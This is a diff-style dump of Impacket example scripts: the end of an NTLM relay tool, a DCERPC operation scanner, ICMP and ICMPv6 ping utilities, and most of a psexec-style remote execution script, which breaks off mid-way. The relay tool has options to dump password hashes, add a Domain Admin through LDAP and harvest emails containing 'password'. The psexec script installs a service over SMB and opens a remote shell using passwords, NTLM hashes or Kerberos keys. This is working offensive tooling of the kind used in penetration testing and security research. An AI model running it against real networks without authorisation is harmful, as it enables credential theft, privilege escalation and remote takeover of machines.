|
||||
parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH')
|
||||
parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
|
||||
|
||||
#SMB arguments
|
||||
smboptions = parser.add_argument_group("SMB client options")
|
||||
smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
|
||||
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
|
||||
smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
|
||||
'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
|
||||
'directory).')
|
||||
|
||||
#MSSQL arguments
|
||||
mssqloptions = parser.add_argument_group("MSSQL client options")
|
||||
mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
|
||||
'(can specify multiple)')
|
||||
|
||||
#HTTP options (not in use for now)
|
||||
# httpoptions = parser.add_argument_group("HTTP client options")
|
||||
# httpoptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
|
||||
# '(can specify multiple)')
|
||||
|
||||
#LDAP options
|
||||
ldapoptions = parser.add_argument_group("LDAP client options")
|
||||
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
|
||||
ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
|
||||
|
||||
#IMAP options
|
||||
imapoptions = parser.add_argument_group("IMAP client options")
|
||||
imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
|
||||
'If not specified, will search for mails containing "password"')
|
||||
imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX')
|
||||
imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '
|
||||
'dump all emails')
|
||||
imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
|
||||
'(0 = unlimited, default: no limit)')
|
||||
|
||||
try:
|
||||
options = parser.parse_args()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
if options.codec is not None:
|
||||
codec = options.codec
|
||||
else:
|
||||
codec = sys.getdefaultencoding()
|
||||
|
||||
if options.target is not None:
|
||||
logging.info("Running in relay mode to single host")
|
||||
mode = 'RELAY'
|
||||
targetSystem = TargetsProcessor(singletarget=options.target)
|
||||
else:
|
||||
if options.tf is not None:
|
||||
#Targetfile specified
|
||||
logging.info("Running in relay mode to hosts in targetfile")
|
||||
targetSystem = TargetsProcessor(targetlistfile=options.tf)
|
||||
mode = 'RELAY'
|
||||
else:
|
||||
logging.info("Running in reflection mode")
|
||||
targetSystem = None
|
||||
mode = 'REFLECTION'
|
||||
|
||||
if options.r is not None:
|
||||
logging.info("Running HTTP server in redirect mode")
|
||||
|
||||
if targetSystem is not None and options.w:
|
||||
watchthread = TargetsFileWatcher(targetSystem)
|
||||
watchthread.start()
|
||||
|
||||
for server in RELAY_SERVERS:
|
||||
#Set up config
|
||||
c = NTLMRelayxConfig()
|
||||
c.setTargets(targetSystem)
|
||||
c.setExeFile(options.e)
|
||||
c.setCommand(options.c)
|
||||
c.setEncoding(codec)
|
||||
c.setMode(mode)
|
||||
c.setAttacks(ATTACKS)
|
||||
c.setLootdir(options.lootdir)
|
||||
c.setOutputFile(options.output_file)
|
||||
c.setLDAPOptions(options.no_dump,options.no_da)
|
||||
c.setMSSQLOptions(options.query)
|
||||
c.setInteractive(options.interactive)
|
||||
c.setIMAPOptions(options.keyword,options.mailbox,options.all,options.imap_max)
|
||||
|
||||
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
|
||||
if server is HTTPRelayServer and options.r is not None:
|
||||
c.setMode('REDIRECT')
|
||||
c.setRedirectHost(options.r)
|
||||
|
||||
#Use target randomization if configured and the server is not SMB
|
||||
#SMB server at the moment does not properly store active targets so selecting them randomly will cause issues
|
||||
if server is not SMBRelayServer and options.random:
|
||||
c.setRandomTargets(True)
|
||||
|
||||
if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
|
||||
c.setDomainAccount( options.machine_account, options.machine_hashes, options.domain)
|
||||
elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
|
||||
logging.error("You must specify machine-account/hashes/domain all together!")
|
||||
sys.exit(1)
|
||||
|
||||
s = server(c)
|
||||
s.start()
|
||||
|
||||
print ""
|
||||
logging.info("Servers started, waiting for connections")
|
||||
while True:
|
||||
try:
|
||||
sys.stdin.read()
|
||||
except KeyboardInterrupt:
|
||||
sys.exit(1)
|
||||
else:
|
||||
pass
|
||||
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python
|
||||
"""opdump - scan for operations on a given DCERPC interface
|
||||
|
||||
Usage: opdump.py hostname port interface version
|
||||
|
||||
This binds to the given hostname:port and DCERPC interface. Then, it tries to
|
||||
call each of the first 256 operation numbers in turn and reports the outcome
|
||||
of each call.
|
||||
|
||||
This will generate a burst of TCP connections to the given host:port!
|
||||
|
||||
Example:
|
||||
$ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0
|
||||
op 0 (0x00): rpc_x_bad_stub_data
|
||||
op 1 (0x01): rpc_x_bad_stub_data
|
||||
op 2 (0x02): rpc_x_bad_stub_data
|
||||
op 3 (0x03): success
|
||||
op 4 (0x04): rpc_x_bad_stub_data
|
||||
ops 5-255: nca_s_op_rng_error
|
||||
|
||||
rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an
|
||||
operation at that number.
|
||||
|
||||
Author: Catalin Patulea <cat@vv.carleton.ca>
|
||||
"""
|
||||
import sys
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
||||
|
||||
def main(args):
|
||||
if len(args) != 4:
|
||||
print "usage: opdump.py hostname port interface version"
|
||||
return 1
|
||||
|
||||
host, port, interface, version = args[0], int(args[1]), args[2], args[3]
|
||||
|
||||
stringbinding = "ncacn_ip_tcp:%s" % host
|
||||
trans = transport.DCERPCTransportFactory(stringbinding)
|
||||
trans.set_dport(port)
|
||||
|
||||
results = []
|
||||
for i in range(256):
|
||||
dce = trans.get_dce_rpc()
|
||||
dce.connect()
|
||||
|
||||
iid = uuid.uuidtup_to_bin((interface, version))
|
||||
dce.bind(iid)
|
||||
|
||||
dce.call(i, "")
|
||||
try:
|
||||
dce.recv()
|
||||
except Exception, e:
|
||||
result = str(e)
|
||||
else:
|
||||
result = "success"
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
results.append(result)
|
||||
|
||||
# trim duplicate suffixes from the back
|
||||
suffix = results[-1]
|
||||
while results and results[-1] == suffix:
|
||||
results.pop()
|
||||
|
||||
for i, result in enumerate(results):
|
||||
print "op %d (0x%02x): %s" % (i, i, result)
|
||||
|
||||
print "ops %d-%d: %s" % (len(results), 255, suffix)
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
sys.exit(main(sys.argv[1:]))
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Simple ICMP ping.
|
||||
#
|
||||
# This implementation of ping uses the ICMP echo and echo-reply packets
|
||||
# to check the status of a host. If the remote host is up, it should reply
|
||||
# to the echo probe with an echo-reply packet.
|
||||
# Note that this isn't a definite test, as in the case the remote host is up
|
||||
# but refuses to reply the probes.
|
||||
# Also note that the user must have special access to be able to open a raw
|
||||
# socket, which this program requires.
|
||||
#
|
||||
# Authors:
|
||||
# Gerardo Richarte <gera@coresecurity.com>
|
||||
# Javier Kohen <jkohen@coresecurity.com>
|
||||
#
|
||||
# Reference for:
|
||||
# ImpactPacket: IP, ICMP, DATA.
|
||||
# ImpactDecoder.
|
||||
|
||||
import select
|
||||
import socket
|
||||
import time
|
||||
import sys
|
||||
|
||||
from impacket import ImpactDecoder, ImpactPacket
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "Use: %s <src ip> <dst ip>" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
|
||||
src = sys.argv[1]
|
||||
dst = sys.argv[2]
|
||||
|
||||
# Create a new IP packet and set its source and destination addresses.
|
||||
|
||||
ip = ImpactPacket.IP()
|
||||
ip.set_ip_src(src)
|
||||
ip.set_ip_dst(dst)
|
||||
|
||||
# Create a new ICMP packet of type ECHO.
|
||||
|
||||
icmp = ImpactPacket.ICMP()
|
||||
icmp.set_icmp_type(icmp.ICMP_ECHO)
|
||||
|
||||
# Include a 156-character long payload inside the ICMP packet.
|
||||
icmp.contains(ImpactPacket.Data("A"*156))
|
||||
|
||||
# Have the IP packet contain the ICMP packet (along with its payload).
|
||||
ip.contains(icmp)
|
||||
|
||||
# Open a raw socket. Special permissions are usually required.
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
|
||||
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
||||
|
||||
seq_id = 0
|
||||
while 1:
|
||||
# Give the ICMP packet the next ID in the sequence.
|
||||
seq_id += 1
|
||||
icmp.set_icmp_id(seq_id)
|
||||
|
||||
# Calculate its checksum.
|
||||
icmp.set_icmp_cksum(0)
|
||||
icmp.auto_checksum = 1
|
||||
|
||||
# Send it to the target host.
|
||||
s.sendto(ip.get_packet(), (dst, 0))
|
||||
|
||||
# Wait for incoming replies.
|
||||
if s in select.select([s],[],[],1)[0]:
|
||||
reply = s.recvfrom(2000)[0]
|
||||
|
||||
# Use ImpactDecoder to reconstruct the packet hierarchy.
|
||||
rip = ImpactDecoder.IPDecoder().decode(reply)
|
||||
# Extract the ICMP packet from its container (the IP packet).
|
||||
ricmp = rip.child()
|
||||
|
||||
# If the packet matches, report it to the user.
|
||||
if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
|
||||
print "Ping reply for sequence #%d" % ricmp.get_icmp_id()
|
||||
|
||||
time.sleep(1)
|
||||
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Simple ICMP6 ping.
|
||||
#
|
||||
# This implementation of ping uses the ICMP echo and echo-reply packets
|
||||
# to check the status of a host. If the remote host is up, it should reply
|
||||
# to the echo probe with an echo-reply packet.
|
||||
# Note that this isn't a definite test, as in the case the remote host is up
|
||||
# but refuses to reply the probes.
|
||||
# Also note that the user must have special access to be able to open a raw
|
||||
# socket, which this program requires.
|
||||
#
|
||||
# Authors:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# ImpactPacket: ICMP6
|
||||
# ImpactDecoder.
|
||||
|
||||
import select
|
||||
import socket
|
||||
import time
|
||||
import sys
|
||||
|
||||
from impacket import ImpactDecoder, ImpactPacket, IP6, ICMP6, version
|
||||
|
||||
print version.BANNER
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "Use: %s <src ip> <dst ip>" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
|
||||
src = sys.argv[1]
|
||||
dst = sys.argv[2]
|
||||
|
||||
# Create a new IP packet and set its source and destination addresses.
|
||||
|
||||
ip = IP6.IP6()
|
||||
ip.set_ip_src(src)
|
||||
ip.set_ip_dst(dst)
|
||||
ip.set_traffic_class(0)
|
||||
ip.set_flow_label(0)
|
||||
ip.set_hop_limit(64)
|
||||
|
||||
# Open a raw socket. Special permissions are usually required.
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
|
||||
|
||||
payload = "A"*156
|
||||
|
||||
print "PING %s %d data bytes" % (dst, len(payload))
|
||||
seq_id = 0
|
||||
while 1:
|
||||
# Give the ICMP packet the next ID in the sequence.
|
||||
seq_id += 1
|
||||
icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload)
|
||||
|
||||
# Have the IP packet contain the ICMP packet (along with its payload).
|
||||
ip.contains(icmp)
|
||||
ip.set_next_header(ip.child().get_ip_protocol_number())
|
||||
ip.set_payload_length(ip.child().get_size())
|
||||
icmp.calculate_checksum()
|
||||
|
||||
# Send it to the target host.
|
||||
s.sendto(icmp.get_packet(), (dst, 0))
|
||||
|
||||
# Wait for incoming replies.
|
||||
if s in select.select([s],[],[],1)[0]:
|
||||
reply = s.recvfrom(2000)[0]
|
||||
|
||||
# Use ImpactDecoder to reconstruct the packet hierarchy.
|
||||
rip = ImpactDecoder.ICMP6Decoder().decode(reply)
|
||||
|
||||
# If the packet matches, report it to the user.
|
||||
if ICMP6.ICMP6.ECHO_REPLY == rip.get_type():
|
||||
print "%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number())
|
||||
|
||||
time.sleep(1)
|
||||
@@ -0,0 +1,486 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC and SMB.
|
||||
|
||||
import sys
|
||||
import os
|
||||
import cmd
|
||||
import logging
|
||||
from threading import Thread, Lock
|
||||
import argparse
|
||||
import random
|
||||
import string
|
||||
import time
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version, smb
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.structure import Structure
|
||||
from impacket.examples import remcomsvc, serviceinstall
|
||||
|
||||
|
||||
class RemComMessage(Structure):
|
||||
structure = (
|
||||
('Command','4096s=""'),
|
||||
('WorkingDir','260s=""'),
|
||||
('Priority','<L=0x20'),
|
||||
('ProcessID','<L=0x01'),
|
||||
('Machine','260s=""'),
|
||||
('NoWait','<L=0'),
|
||||
)
|
||||
|
||||
class RemComResponse(Structure):
|
||||
structure = (
|
||||
('ErrorCode','<L=0'),
|
||||
('ReturnCode','<L=0'),
|
||||
)
|
||||
|
||||
RemComSTDOUT = "RemCom_stdout"
|
||||
RemComSTDIN = "RemCom_stdin"
|
||||
RemComSTDERR = "RemCom_stderr"
|
||||
|
||||
lock = Lock()
|
||||
|
||||
class PSEXEC:
|
||||
def __init__(self, command, path, exeFile, copyFile, port=445,
|
||||
username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__port = port
|
||||
self.__command = command
|
||||
self.__path = path
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__exeFile = exeFile
|
||||
self.__copyFile = copyFile
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def run(self, remoteName, remoteHost):
|
||||
|
||||
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
|
||||
logging.debug('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
self.doStuff(rpctransport)
|
||||
|
||||
def openPipe(self, s, tid, pipe, accessMask):
|
||||
pipeReady = False
|
||||
tries = 50
|
||||
while pipeReady is False and tries > 0:
|
||||
try:
|
||||
s.waitNamedPipe(tid,pipe)
|
||||
pipeReady = True
|
||||
except:
|
||||
tries -= 1
|
||||
time.sleep(2)
|
||||
pass
|
||||
|
||||
if tries == 0:
|
||||
logging.critical('Pipe not ready, aborting')
|
||||
raise
|
||||
|
||||
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
|
||||
|
||||
return fid
|
||||
|
||||
def doStuff(self, rpctransport):
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
global dialect
|
||||
dialect = rpctransport.get_smb_connection().getDialect()
|
||||
|
||||
try:
|
||||
unInstalled = False
|
||||
s = rpctransport.get_smb_connection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
if self.__exeFile is None:
|
||||
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
|
||||
else:
|
||||
try:
|
||||
f = open(self.__exeFile)
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
|
||||
|
||||
if installService.install() is False:
|
||||
return
|
||||
|
||||
if self.__exeFile is not None:
|
||||
f.close()
|
||||
|
||||
# Check if we need to copy a file for execution
|
||||
if self.__copyFile is not None:
|
||||
installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
|
||||
# And we change the command to be executed to this filename
|
||||
self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
|
||||
|
||||
tid = s.connectTree('IPC$')
|
||||
fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f)
|
||||
|
||||
packet = RemComMessage()
|
||||
pid = os.getpid()
|
||||
|
||||
packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)])
|
||||
if self.__path is not None:
|
||||
packet['WorkingDir'] = self.__path
|
||||
packet['Command'] = self.__command
|
||||
packet['ProcessID'] = pid
|
||||
|
||||
s.writeNamedPipe(tid, fid_main, str(packet))
|
||||
|
||||
# Here we'll store the command we type so we don't print it back ;)
|
||||
# ( I know.. globals are nasty :P )
|
||||
global LastDataSent
|
||||
LastDataSent = ''
|
||||
|
||||
# Create the pipes threads
|
||||
stdin_pipe = RemoteStdInPipe(rpctransport,
|
||||
'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
|
||||
smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
|
||||
stdin_pipe.start()
|
||||
stdout_pipe = RemoteStdOutPipe(rpctransport,
|
||||
'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
|
||||
smb.FILE_READ_DATA)
|
||||
stdout_pipe.start()
|
||||
stderr_pipe = RemoteStdErrPipe(rpctransport,
|
||||
'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
|
||||
smb.FILE_READ_DATA)
|
||||
stderr_pipe.start()
|
||||
|
||||
# And we stay here till the end
|
||||
ans = s.readNamedPipe(tid,fid_main,8)
|
||||
|
||||
if len(ans):
|
||||
retCode = RemComResponse(ans)
|
||||
logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
|
||||
self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
|
||||
installService.uninstall()
|
||||
if self.__copyFile is not None:
|
||||
# We copied a file for execution, let's remove it
|
||||
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
|
||||
unInstalled = True
|
||||
sys.exit(retCode['ErrorCode'])
|
||||
|
||||
except SystemExit:
|
||||
raise
|
||||
except:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
if unInstalled is False:
|
||||
installService.uninstall()
|
||||
if self.__copyFile is not None:
|
||||
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
|
||||
sys.stdout.flush()
|
||||
sys.exit(1)
|
||||
|
||||
class Pipes(Thread):
|
||||
def __init__(self, transport, pipe, permissions, share=None):
|
||||
Thread.__init__(self)
|
||||
self.server = 0
|
||||
self.transport = transport
|
||||
self.credentials = transport.get_credentials()
|
||||
self.tid = 0
|
||||
self.fid = 0
|
||||
self.share = share
|
||||
self.port = transport.get_dport()
|
||||
self.pipe = pipe
|
||||
self.permissions = permissions
|
||||
self.daemon = True
|
||||
|
||||
def connectPipe(self):
|
||||
try:
|
||||
lock.acquire()
|
||||
global dialect
|
||||
#self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
|
||||
self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(),
|
||||
sess_port=self.port, preferredDialect=dialect)
|
||||
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
|
||||
if self.transport.get_kerberos() is True:
|
||||
self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
|
||||
else:
|
||||
self.server.login(user, passwd, domain, lm, nt)
|
||||
lock.release()
|
||||
self.tid = self.server.connectTree('IPC$')
|
||||
|
||||
self.server.waitNamedPipe(self.tid, self.pipe)
|
||||
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
|
||||
self.server.setTimeout(1000000)
|
||||
except:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
|
||||
|
||||
|
||||
class RemoteStdOutPipe(Pipes):
|
||||
def __init__(self, transport, pipe, permisssions):
|
||||
Pipes.__init__(self, transport, pipe, permisssions)
|
||||
|
||||
def run(self):
|
||||
self.connectPipe()
|
||||
while True:
|
||||
try:
|
||||
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
global LastDataSent
|
||||
if ans != LastDataSent:
|
||||
sys.stdout.write(ans.decode('cp437'))
|
||||
sys.stdout.flush()
|
||||
else:
|
||||
# Don't echo what I sent, and clear it up
|
||||
LastDataSent = ''
|
||||
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
|
||||
# it will give false positives tho.. we should find a better way to handle this.
|
||||
if LastDataSent > 10:
|
||||
LastDataSent = ''
|
||||
except:
|
||||
pass
|
||||
|
||||
class RemoteStdErrPipe(Pipes):
|
||||
def __init__(self, transport, pipe, permisssions):
|
||||
Pipes.__init__(self, transport, pipe, permisssions)
|
||||
|
||||
def run(self):
|
||||
self.connectPipe()
|
||||
while True:
|
||||
try:
|
||||
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
sys.stderr.write(str(ans))
|
||||
sys.stderr.flush()
|
||||
except:
|
||||
pass
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, server, port, credentials, tid, fid, share, transport):
|
||||
cmd.Cmd.__init__(self, False)
|
||||
self.prompt = '\x08'
|
||||
self.server = server
|
||||
self.transferClient = None
|
||||
self.tid = tid
|
||||
self.fid = fid
|
||||
self.credentials = credentials
|
||||
self.share = share
|
||||
self.port = port
|
||||
self.transport = transport
|
||||
self.intro = '[!] Press help for extra shell commands'
|
||||
|
||||
def connect_transferClient(self):
|
||||
#self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
|
||||
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
|
||||
preferredDialect=dialect)
|
||||
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
|
||||
if self.transport.get_kerberos() is True:
|
||||
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
|
||||
kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
|
||||
else:
|
||||
self.transferClient.login(user, passwd, domain, lm, nt)
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
|
||||
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
|
||||
! {cmd} - executes a local shell cmd
|
||||
""" % (self.share, self.share)
|
||||
self.send_data('\r\n', False)
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
self.send_data('\r\n')
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
if self.transferClient is None:
|
||||
self.connect_transferClient()
|
||||
|
||||
import ntpath
|
||||
filename = ntpath.basename(src_path)
|
||||
fh = open(filename,'wb')
|
||||
logging.info("Downloading %s\%s" % (self.share, src_path))
|
||||
self.transferClient.getFile(self.share, src_path, fh.write)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
pass
|
||||
|
||||
self.send_data('\r\n')
|
||||
|
||||
def do_put(self, s):
|
||||
try:
|
||||
if self.transferClient is None:
|
||||
self.connect_transferClient()
|
||||
params = s.split(' ')
|
||||
if len(params) > 1:
|
||||
src_path = params[0]
|
||||
dst_path = params[1]
|
||||
elif len(params) == 1:
|
||||
src_path = params[0]
|
||||
dst_path = '/'
|
||||
|
||||
src_file = os.path.basename(src_path)
|
||||
fh = open(src_path, 'rb')
|
||||
f = dst_path + '/' + src_file
|
||||
pathname = string.replace(f,'/','\\')
|
||||
logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
|
||||
self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
pass
|
||||
|
||||
self.send_data('\r\n')
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
os.chdir(s)
|
||||
self.send_data('\r\n')
|
||||
|
||||
def emptyline(self):
|
||||
self.send_data('\r\n')
|
||||
return
|
||||
|
||||
def default(self, line):
|
||||
self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
|
||||
|
||||
def send_data(self, data, hideOutput = True):
|
||||
if hideOutput is True:
|
||||
global LastDataSent
|
||||
LastDataSent = data
|
||||
else:
|
||||
LastDataSent = ''
|
||||
self.server.writeFile(self.tid, self.fid, data)
|
||||
|
||||
class RemoteStdInPipe(Pipes):
|
||||
def __init__(self, transport, pipe, permisssions, share=None):
|
||||
self.shell = None
|
||||
Pipes.__init__(self, transport, pipe, permisssions, share)
|
||||
|
||||
def run(self):
|
||||
self.connectPipe()
|
||||
self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
|
||||
self.shell.cmdloop()
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at '
|
||||
'the target (w/o path) - (default:cmd.exe)')
|
||||
parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, '
|
||||
'arguments are passed in the command option')
|
||||
parser.add_argument('-path', action='store', help='path of the command to execute')
|
||||
parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)")
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-dc-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in '
|
||||
'the target parameter')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If ommited it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
